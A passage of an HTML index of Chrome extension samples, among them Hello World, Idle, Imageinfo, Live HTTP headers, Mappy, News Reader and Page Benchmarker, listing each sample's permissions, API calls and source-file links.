<code><a target="_blank" href="../examples/extensions/gmail/_locales/sr/messages.json">_locales/sr/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/sv/messages.json">_locales/sv/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/th/messages.json">_locales/th/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/tr/messages.json">_locales/tr/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/uk/messages.json">_locales/uk/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/vi/messages.json">_locales/vi/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/zh_CN/messages.json">_locales/zh_CN/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/_locales/zh_TW/messages.json">_locales/zh_TW/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/background.html">background.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/options.html">options.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/gmail/options.js">options.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/gmail.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="14b9651fda4e57b2a5914ba73a779812201b750a">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#14b9651fda4e57b2a5914ba73a779812201b750a">Hello World</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong>
</span>
</p>
<p>The first extension that I made.</p>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/tutorials/getstarted/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/tutorials/getstarted/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/tutorials/getstarted/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/tutorials/getstarted.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="2020d72f2577f53caf8e94e3dbac0fb849ceaa4d">
<img class="icon" src="../examples/api/idle/idle_simple/sample-128.png">
<h2 class="name">
<a href="#2020d72f2577f53caf8e94e3dbac0fb849ceaa4d">Idle - Simple Example</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>idle</strong>
</span>
</p>
<p>Demonstrates the Idle API</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#event-onClicked">chrome.browserAction.onClicked</a></code>
</li><li>
<code><a href="extension.html#method-getBackgroundPage">chrome.extension.getBackgroundPage</a></code>
</li><li>
<code><a href="idle.html#event-onStateChanged">chrome.idle.onStateChanged</a></code>
</li><li>
<code><a href="idle.html#method-queryState">chrome.idle.queryState</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/idle/idle_simple/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/idle/idle_simple/history.html">history.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/idle/idle_simple/history.js">history.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/idle/idle_simple/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/idle/idle_simple.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="0ea1588bd07b20338fc21f725de1542a5fdf9726">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#0ea1588bd07b20338fc21f725de1542a5fdf9726">iGoogle new tab page</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>chrome_url_overrides</strong>
</span>
</p>
<p></p>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/override/override_igoogle/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/override/override_igoogle/redirect.html">redirect.html</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/override/override_igoogle.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="646325c25f572a1d15edc73d057f821d847a4fbe">
<img class="icon" src="../examples/extensions/imageinfo/imageinfo-128.png">
<h2 class="name">
<a href="#646325c25f572a1d15edc73d057f821d847a4fbe">Imageinfo</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>contextMenus</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Get image info for images, including EXIF data</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="contextMenus.html#method-create">chrome.contextMenus.create</a></code>
</li><li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li><li>
<code><a href="tabs.html#method-getCurrent">chrome.tabs.getCurrent</a></code>
</li><li>
<code><a href="windows.html#method-create">chrome.windows.create</a></code>
</li><li>
<code><a href="windows.html#method-update">chrome.windows.update</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/imageinfo/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/imageinfo/imageinfo/binaryajax.js">imageinfo/binaryajax.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/imageinfo/imageinfo/exif.js">imageinfo/exif.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/imageinfo/imageinfo/imageinfo.js">imageinfo/imageinfo.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/imageinfo/info.css">info.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/imageinfo/info.html">info.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/imageinfo/info.js">info.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/imageinfo/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/imageinfo.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="8f52a8a59c6fc16cb0d1ed0680b7f005be033d58">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#8f52a8a59c6fc16cb0d1ed0680b7f005be033d58">JavaScript pause/resume</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>debugger</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Pauses / resumes JavaScript execution</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#event-onClicked">chrome.browserAction.onClicked</a></code>
</li><li>
<code><a href="browserAction.html#method-setIcon">chrome.browserAction.setIcon</a></code>
</li><li>
<code><a href="browserAction.html#method-setTitle">chrome.browserAction.setTitle</a></code>
</li><li>
<code><a href="debugger.html#method-attach">chrome.debugger.attach</a></code>
</li><li>
<code><a href="debugger.html#method-detach">chrome.debugger.detach</a></code>
</li><li>
<code><a href="debugger.html#event-onDetach">chrome.debugger.onDetach</a></code>
</li><li>
<code><a href="debugger.html#event-onEvent">chrome.debugger.onEvent</a></code>
</li><li>
<code><a href="debugger.html#method-sendCommand">chrome.debugger.sendCommand</a></code>
</li><li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li><li>
<code><a href="windows.html#method-get">chrome.windows.get</a></code>
</li><li>
<code><a href="windows.html#method-getCurrent">chrome.windows.getCurrent</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/debugger/pause-resume/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/debugger/pause-resume/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/debugger/pause-resume.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="65b2fe595b7ac38dddd89cca50f5efd0017b0bd4">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#65b2fe595b7ac38dddd89cca50f5efd0017b0bd4">Keyboard Pin</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Creates a keyboard shortcut (C + Shift + P) to toggle the pinned state of the currently selected tab</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li><li>
<code><a href="tabs.html#method-update">chrome.tabs.update</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/tabs/pin/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/tabs/pin/inject.js">inject.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/tabs/pin/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/tabs/pin.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="cc8563a6666add797264184a960c7b7c8bd3e64d">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#cc8563a6666add797264184a960c7b7c8bd3e64d">Live HTTP headers</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>debugger</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Displays the live log with the http requests headers</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#event-onClicked">chrome.browserAction.onClicked</a></code>
</li><li>
<code><a href="debugger.html#method-attach">chrome.debugger.attach</a></code>
</li><li>
<code><a href="debugger.html#method-detach">chrome.debugger.detach</a></code>
</li><li>
<code><a href="debugger.html#event-onEvent">chrome.debugger.onEvent</a></code>
</li><li>
<code><a href="debugger.html#method-sendCommand">chrome.debugger.sendCommand</a></code>
</li><li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li><li>
<code><a href="windows.html#method-create">chrome.windows.create</a></code>
</li><li>
<code><a href="windows.html#method-get">chrome.windows.get</a></code>
</li><li>
<code><a href="windows.html#method-getCurrent">chrome.windows.getCurrent</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/debugger/live-headers/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/debugger/live-headers/headers.html">headers.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/debugger/live-headers/headers.js">headers.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/debugger/live-headers/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/debugger/live-headers.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="ec97ec20ca2f095d081e39f1565fc12af09ef067">
<img class="icon" src="../examples/extensions/mappy/icon.png">
<h2 class="name">
<a href="#ec97ec20ca2f095d081e39f1565fc12af09ef067">Mappy</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>page_action</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Finds addresses in the web page you're on and pops up a map window.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="extension.html#method-getBackgroundPage">chrome.extension.getBackgroundPage</a></code>
</li><li>
<code><a href="pageAction.html#method-hide">chrome.pageAction.hide</a></code>
</li><li>
<code><a href="pageAction.html#method-setTitle">chrome.pageAction.setTitle</a></code>
</li><li>
<code><a href="pageAction.html#method-show">chrome.pageAction.show</a></code>
</li><li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li><li>
<code><a href="tabs.html#event-onUpdated">chrome.tabs.onUpdated</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/mappy/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/mappy/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/mappy/mappy_content_script.js">mappy_content_script.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/mappy/popup.css">popup.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/mappy/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/mappy/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/mappy.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="b2f5f8a790e16f091a7e4e0a39b2d0a6d32e3a6d">
<img class="icon" src="../examples/api/windows/merge_windows/merge_windows_128.png">
<h2 class="name">
<a href="#b2f5f8a790e16f091a7e4e0a39b2d0a6d32e3a6d">Merge Windows</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Merges all of the browser's windows into the current window</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#event-onClicked">chrome.browserAction.onClicked</a></code>
</li><li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li><li>
<code><a href="tabs.html#method-move">chrome.tabs.move</a></code>
</li><li>
<code><a href="windows.html#method-get">chrome.windows.get</a></code>
</li><li>
<code><a href="windows.html#method-getAll">chrome.windows.getAll</a></code>
</li><li>
<code><a href="windows.html#method-getCurrent">chrome.windows.getCurrent</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/windows/merge_windows/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/windows/merge_windows/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/windows/merge_windows.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="51a83d2ba3a32e3ff1bdb624d4e18ccec4c4038e">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#51a83d2ba3a32e3ff1bdb624d4e18ccec4c4038e">Message Timer</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Times how long it takes to send a message to a content script and back.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="extension.html#event-onConnect">chrome.extension.onConnect</a></code>
</li><li>
<code><a href="tabs.html#method-connect">chrome.tabs.connect</a></code>
</li><li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/messaging/timer/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/messaging/timer/page.js">page.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/messaging/timer/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/messaging/timer/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/messaging/timer.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="4f6785ec4f937add6728615682dd37c9a42d9548">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#4f6785ec4f937add6728615682dd37c9a42d9548">My Bookmarks</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>bookmarks</strong><span>, </span>
</span><span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>A browser action with a popup dump of all bookmarks, including search, add, edit and delete.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="bookmarks.html#method-create">chrome.bookmarks.create</a></code>
</li><li>
<code><a href="bookmarks.html#method-get">chrome.bookmarks.get</a></code>
</li><li>
<code><a href="bookmarks.html#method-getTree">chrome.bookmarks.getTree</a></code>
</li><li>
<code><a href="bookmarks.html#method-remove">chrome.bookmarks.remove</a></code>
</li><li>
<code><a href="bookmarks.html#method-update">chrome.bookmarks.update</a></code>
</li><li>
<code><a href="tabs.html#method-create">chrome.tabs.create</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/bookmarks/basic/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/bookmarks/basic/popup.html">popup.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/bookmarks/basic/popup.js">popup.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/bookmarks/basic.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="597015d3bcce3da693b02314afd607bec4f55291">
<img class="icon" src="../examples/extensions/news_a11y/news_icon.png">
<h2 class="name">
<a href="#597015d3bcce3da693b02314afd607bec4f55291">News Reader</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Displays the first 5 items from the 'Google News - top news' RSS feed in a popup.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="tabs.html#method-create">chrome.tabs.create</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/news_a11y/feed.css">feed.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/news_a11y/feed.html">feed.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/news_a11y/feed.js">feed.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/news_a11y/feed_iframe.css">feed_iframe.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/news_a11y/feed_iframe.js">feed_iframe.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/news_a11y/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/news_a11y.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="6444e5c8ae112a6a433909c5e770669cd16e2e5f">
<img class="icon" src="../examples/extensions/news_i18n/news_icon.png">
<h2 class="name">
<a href="#6444e5c8ae112a6a433909c5e770669cd16e2e5f">News Reader</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>browser_action</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Displays the first 5 items from the 'Google News - top news' RSS feed in a popup.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="i18n.html#method-getMessage">chrome.i18n.getMessage</a></code>
</li><li>
<code><a href="tabs.html#method-create">chrome.tabs.create</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/news_i18n/_locales/en/messages.json">_locales/en/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/news_i18n/_locales/es/messages.json">_locales/es/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/news_i18n/_locales/sr/messages.json">_locales/sr/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/news_i18n/feed.html">feed.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/news_i18n/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/news_i18n.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="3aea027164cb9b732ba4a8c51cb93708891726ef">
<img class="icon" src="../examples/extensions/news/images/news_icon.png">
<h2 class="name">
<a href="#3aea027164cb9b732ba4a8c51cb93708891726ef">News Reader (by Google)</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>options_page</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Displays the latest stories from Google News in a popup.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="extension.html#method-getURL">chrome.extension.getURL</a></code>
</li><li>
<code><a href="i18n.html#method-getMessage">chrome.i18n.getMessage</a></code>
</li><li>
<code><a href="tabs.html#method-create">chrome.tabs.create</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/extensions/news/_locales/en/messages.json">_locales/en/messages.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/news/css/feed.css">css/feed.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/news/css/options.css">css/options.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/news/javascript/feed.js">javascript/feed.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/news/javascript/options.js">javascript/options.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/news/javascript/util.js">javascript/util.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/news/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/news/views/background.html">views/background.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/news/views/feed.html">views/feed.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/extensions/news/views/options.html">views/options.html</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/extensions/news.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="f799e26ceef2367cf836f24bcb47df4398b0df58">
<img class="icon" src="../examples/api/notifications/128.png">
<h2 class="name">
<a href="#f799e26ceef2367cf836f24bcb47df4398b0df58">Notification Demo</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>notifications</strong><span>, </span>
</span><span>
<strong>options_page</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Shows off desktop notifications, which are "toast" windows that pop up on the desktop.</p>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/notifications/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/notifications/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/notifications/options.html">options.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/notifications/options.js">options.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/notifications/style.css">style.css</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/notifications.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="2df34c9db20549bd52f2dec3d59d564853bdefac">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#2df34c9db20549bd52f2dec3d59d564853bdefac">NTP prototyping extension</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>chrome_url_overrides</strong>
<span> and</span>
</span><span>
<strong>topSites</strong>
</span>
</p>
<p>extension to prototype new NTP designs</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="topSites.html#method-get">chrome.topSites.get</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/topsites/magic8ball/manifest.json">manifest.json</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/topsites/magic8ball/newTab.css">newTab.css</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/topsites/magic8ball/newTab.html">newTab.html</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/topsites/magic8ball/newTab.js">newTab.js</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/topsites/magic8ball.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="e787b322bddbc6289bb31b7d7550b1bf6456a80b">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#e787b322bddbc6289bb31b7d7550b1bf6456a80b">Omnibox Example</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong>
</span>
</p>
<p>To use, type 'omnix' plus a search term into the Omnibox.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="omnibox.html#event-onInputChanged">chrome.omnibox.onInputChanged</a></code>
</li><li>
<code><a href="omnibox.html#event-onInputEntered">chrome.omnibox.onInputEntered</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/omnibox/simple-example/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/omnibox/simple-example/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/omnibox/simple-example.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="8d0a50b57c26bb498be592e871001ffed91541b4">
<img class="icon" src="../examples/api/pageAction/pageaction_by_content/sandwich-128.png">
<h2 class="name">
<a href="#8d0a50b57c26bb498be592e871001ffed91541b4">Page action by content</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong>
<span> and</span>
</span><span>
<strong>page_action</strong>
</span>
</p>
<p>Shows a page action for HTML pages containing the word 'sandwich'</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="pageAction.html#method-show">chrome.pageAction.show</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/pageAction/pageaction_by_content/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/pageAction/pageaction_by_content/contentscript.js">contentscript.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/pageAction/pageaction_by_content/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/pageAction/pageaction_by_content.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="80b86ccc6e8520660fa591caa565826f0ed1b12c">
<img class="icon" src="../examples/api/pageAction/pageaction_by_url/icon-128.png">
<h2 class="name">
<a href="#80b86ccc6e8520660fa591caa565826f0ed1b12c">Page action by URL</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>page_action</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Shows a page action for urls which have the letter 'g' in them.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="pageAction.html#method-show">chrome.pageAction.show</a></code>
</li><li>
<code><a href="tabs.html#event-onUpdated">chrome.tabs.onUpdated</a></code>
</li>
</ul>
</div>
<div class="sourcefiles"><strong>Source files:</strong>
<ul>
<li>
<code><a target="_blank" href="../examples/api/pageAction/pageaction_by_url/background.js">background.js</a></code>
</li><li>
<code><a target="_blank" href="../examples/api/pageAction/pageaction_by_url/manifest.json">manifest.json</a></code>
</li>
</ul>
</div>
<div>
<a href="../examples/api/pageAction/pageaction_by_url.zip">Download source</a>
<!-- Only show the Install CRX link if a CRX file is provided -->
</div>
</div><div class="sample" id="d74c3c18a1c1dd18b035149105a306f837c8823e">
<img class="icon" src="../images/sample-default-icon.png">
<h2 class="name">
<a href="#d74c3c18a1c1dd18b035149105a306f837c8823e">Page Benchmarker</a>
</h2>
<p class="metadata features">Uses
<span>
<strong>background_page</strong><span>, </span>
</span><span>
<strong>browser_action</strong><span>, </span>
</span><span>
<strong>options_page</strong>
<span> and</span>
</span><span>
<strong>tabs</strong>
</span>
</p>
<p>Chromium Page Benchmarker.</p>
<div class="apicalls"><strong>Calls:</strong>
<ul>
<li>
<code><a href="browserAction.html#event-onClicked">chrome.browserAction.onClicked</a></code>
</li><li>
<code><a href="browserAction.html#method-setBadgeBackgroundColor">chrome.browserAction.setBadgeBackgroundColor</a></code>
</li><li>
<code><a href="browserAction.html#method-setBadgeText">chrome.browserAction.setBadgeText</a></code>
</li><li>
<code><a href="browserAction.html#method-setTitle">chrome.browserAction.setTitle</a></code>
</li><li>
<code><a href="extension.html#method-connect">chrome.extension.connect</a></code>
</li><li>
<code><a href="extension.html#method-getBackgroundPage">chrome.extension.getBackgroundPage</a></code>
</li><li>
<code><a href="extension.html#method-getURL">chrome.extension.getURL</a></code>
</li><li>
<code><a href="extension.html#event-onConnect">chrome.extension.onConnect</a></code>
</li><li>
<code><a href="tabs.html#method-create">chrome.tabs.create</a></code>
</li><li>
<code><a href="tabs.html#method-executeScript">chrome.tabs.executeScript</a></code>
</li><li>
<code><a href="tabs.html#method-get">chrome.tabs.get</a></code>
</li><li>
<code><a href="tabs.html#method-remove">chrome.tabs.remove</a></code>
</li><li>
<code><a href="tabs.html#method-update">chrome.tabs.update</a></code>
</li><li>
<code><a href="windows.html#method-get">chrome.windows.get</a></code>
</li><li>
